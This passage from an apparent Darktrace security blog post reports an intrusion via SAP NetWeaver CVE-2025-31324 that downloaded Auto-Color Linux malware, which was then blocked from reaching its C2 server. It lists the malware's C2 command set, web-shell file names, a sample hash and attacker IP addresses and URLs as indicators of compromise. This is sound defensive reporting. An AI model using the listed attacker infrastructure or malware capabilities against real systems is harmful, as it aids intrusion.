Figure 4: Darktrace’s detection of unusual outbound connections and the subsequent file download from http://146.70.41.178:4444/logs, as identified by Cyber AI Analyst.

A deeper investigation into the attack

Darktrace’s findings indicate that CVE-2025-31324 was leveraged in this instance to launch a second-stage attack, involving the compromise of the internet-facing device and the download of an ELF file representing the Auto-Color malware—an approach that has also been observed in other cases of SAP NetWeaver exploitation [4].

Darktrace identified the activity as highly suspicious, triggering multiple alerts that prompted triage and further investigation by the SOC as part of the Darktrace Managed Detection and Response (MDR) service.

During this investigation, Darktrace analysts opted to extend all previously applied Autonomous Response actions for an additional 24 hours, providing the customer’s security team time to investigate and remediate.

Figure 5: Cyber AI Analyst’s investigation into the unusual connection attempts from the device to the C2 endpoint.

At the host level, the malware began by assessing its privilege level; in this case, it likely detected root access and proceeded without restraint. Following this, the malware began the chain of events to establish and maintain persistence on the device, ultimately culminating an outbound connection attempt to its hardcoded C2 server.

Figure 6: Cyber AI Analyst’s investigation into the unusual connection attempts from the device to the C2 endpoint.

Over a six-hour period, Darktrace detected numerous attempted connections to the endpoint 146.70.41[.]178 over port 443. In response, Darktrace’s Autonomous Response swiftly intervened to block these malicious connections.

Given that Auto-Color relies heavily on C2 connectivity to complete its execution and uses shared object preloading to hijack core functions without modifying existing binaries, the absence of a successful connection to its C2 infrastructure (in this case, 146.70.41[.]178) causes the malware to sleep before trying to reconnect.

While Darktrace’s analysis was limited by the absence of a live C2, prior research into its command structure reveals that Auto-Color supports a modular C2 protocol. This includes reverse shell initiation (0x100), file creation and execution tasks (0x2xx), system proxy configuration (0x300), and global payload manipulation (0x4XX). Additionally, core command IDs such as 0,1, 2, 4, and 0xF cover basic system profiling and even include a kill switch that can trigger self-removal of the malware [2]. This layered command set reinforces the malware’s flexibility and its dependence on live operator control.

Thanks to the timely intervention of Darktrace’s SOC team, who extended the Autonomous Response actions as part of the MDR service, the malicious connections remained blocked. This proactive prevented the malware from escalating, buying the customer’s security team valuable time to address the threat.

Conclusion

Ultimately, this incident highlights the critical importance of addressing high-severity vulnerabilities, as they can rapidly lead to more persistent and damaging threats within an organization’s network. Vulnerabilities like CVE-2025-31324 continue to be exploited by threat actors to gain access to and compromise internet-facing systems. In this instance, the download of Auto-Color malware was just one of many potential malicious actions the threat actor could have initiated.

From initial intrusion to the failed establishment of C2 communication, the Auto-Color malware showed a clear understanding of Linux internals and demonstrated calculated restraint designed to minimize exposure and reduce the risk of detection. However, Darktrace’s ability to detect this anomalous activity, and to respond both autonomously and through its MDR offering, ensured that the threat was contained. This rapid response gave the customer’s internal security team the time needed to investigate and remediate, ultimately preventing the attack from escalating further.

Credit to Harriet Rayner (Cyber Analyst), Owen Finn (Cyber Analyst), Tara Gould (Threat Research Lead) and Ryan Traill (Analyst Content Lead)

Appendices

MITRE ATT&CK Mapping

Malware - RESOURCE DEVELOPMENT - T1588.001

Drive-by Compromise - INITIAL ACCESS - T1189

Data Obfuscation - COMMAND AND CONTROL - T1001

Non-Standard Port - COMMAND AND CONTROL - T1571

Exfiltration Over Unencrypted/Obfuscated Non-C2 Protocol - EXFILTRATION - T1048.003

Masquerading - DEFENSE EVASION - T1036

Application Layer Protocol - COMMAND AND CONTROL - T1071

Unix Shell – EXECUTION - T1059.004

LC_LOAD_DYLIB Addition – PERSISTANCE - T1546.006

Match Legitimate Resource Name or Location – DEFENSE EVASION - T1036.005

Web Protocols – COMMAND AND CONTROL - T1071.001

Indicators of Compromise (IoCs)

Filenames downloaded:

  • exploit.properties
  • helper.jsp
  • 0KIF8.jsp
  • cmd.jsp
  • test.txt
  • uid.jsp
  • vregrewfsf.jsp

Auto-Color sample:

  • 270fc72074c697ba5921f7b61a6128b968ca6ccbf8906645e796cfc3072d4c43 (sha256)

IP Addresses

  • 146[.]70[.]19[.]122
  • 149[.]78[.]184[.]215
  • 196[.]251[.]85[.]31
  • 120[.]231[.]21[.]8
  • 148[.]135[.]80[.]109
  • 45[.]32[.]126[.]94
  • 110[.]42[.]42[.]64
  • 119[.]187[.]23[.]132
  • 18[.]166[.]61[.]47
  • 183[.]2[.]62[.]199
  • 188[.]166[.]87[.]88
  • 31[.]222[.]254[.]27
  • 91[.]193[.]19[.]109
  • 123[.]146[.]1[.]140
  • 139[.]59[.]143[.]102
  • 155[.]94[.]199[.]59
  • 165[.]227[.]173[.]41
  • 193[.]149[.]129[.]31
  • 202[.]189[.]7[.]77
  • 209[.]38[.]208[.]202
  • 31[.]222[.]254[.]45
  • 58[.]19[.]11[.]97
  • 64[.]227[.]32[.]66

Darktrace Model Detections

Compromise / Possible Tunnelling to Bin Services

Anomalous Server Activity / New User Agent from Internet Facing System

Anomalous File / Incoming ELF File

Anomalous Connection / Application Protocol on Uncommon Port

Anomalous Connection / New User Agent to IP Without Hostname

Experimental / Mismatched MIME Type From Rare Endpoint V4

Compromise / High Volume of Connections with Beacon Score

Device / Initial Attack Chain Activity

Device / Internet Facing Device with High Priority Alert

Compromise / Large Number of Suspicious Failed Connections

Model Alerts for CVE

Compromise / Possible Tunnelling to Bin Services

Compromise / High Priority Tunnelling to Bin Services

Autonomous Response Model Alerts

Antigena / Network::External Threat::Antigena Suspicious File Block

Antigena / Network::External Threat::Antigena File then New Outbound Block

Antigena / Network::Significant Anomaly::Antigena Controlled and Model Alert

Experimental / Antigena File then New Outbound Block

Antigena / Network::External Threat::Antigena Suspicious Activity Block

Antigena / Network::Significant Anomaly::Antigena Alerts Over Time Block

Antigena / Network::Significant Anomaly::Antigena Enhanced Monitoring from Client Block

Antigena / Network::Significant Anomaly::Antigena Enhanced Monitoring from Client Block

Antigena / Network::Significant Anomaly::Antigena Alerts Over Time Block

Antigena / MDR::Model Alert on MDR-Actioned Device

Antigena / Network::Significant Anomaly::Antigena Enhanced Monitoring from Client Block

References

1. [Online] https://onapsis.com/blog/active-exploitation-of-sap-vulnerability-cve-2025-31324/.

2. https://unit42.paloaltonetworks.com/new-linux-backdoor-auto-color/. [Online]

3. [Online] (https://www.darktrace.com/blog/tracking-cve-2025-31324-darktraces-detection-of-sap-netweaver-exploitation-before-and-after-disclosure#:~:text=June%2016%2C%202025-,Tracking%20CVE%2D2025%2D31324%3A%20Darktrace's%20detection%20of%20SAP%20Netweaver,guidance%.

4. [Online] https://unit42.paloaltonetworks.com/threat-brief-sap-netweaver-cve-2025-31324/.

5. [Online] https://www.forescout.com/blog/threat-analysis-sap-vulnerability-exploited-in-the-wild-by-chinese-threat-actor/.

Continue reading
About the author
Your data. Our AI.
Elevate your network security with Darktrace AI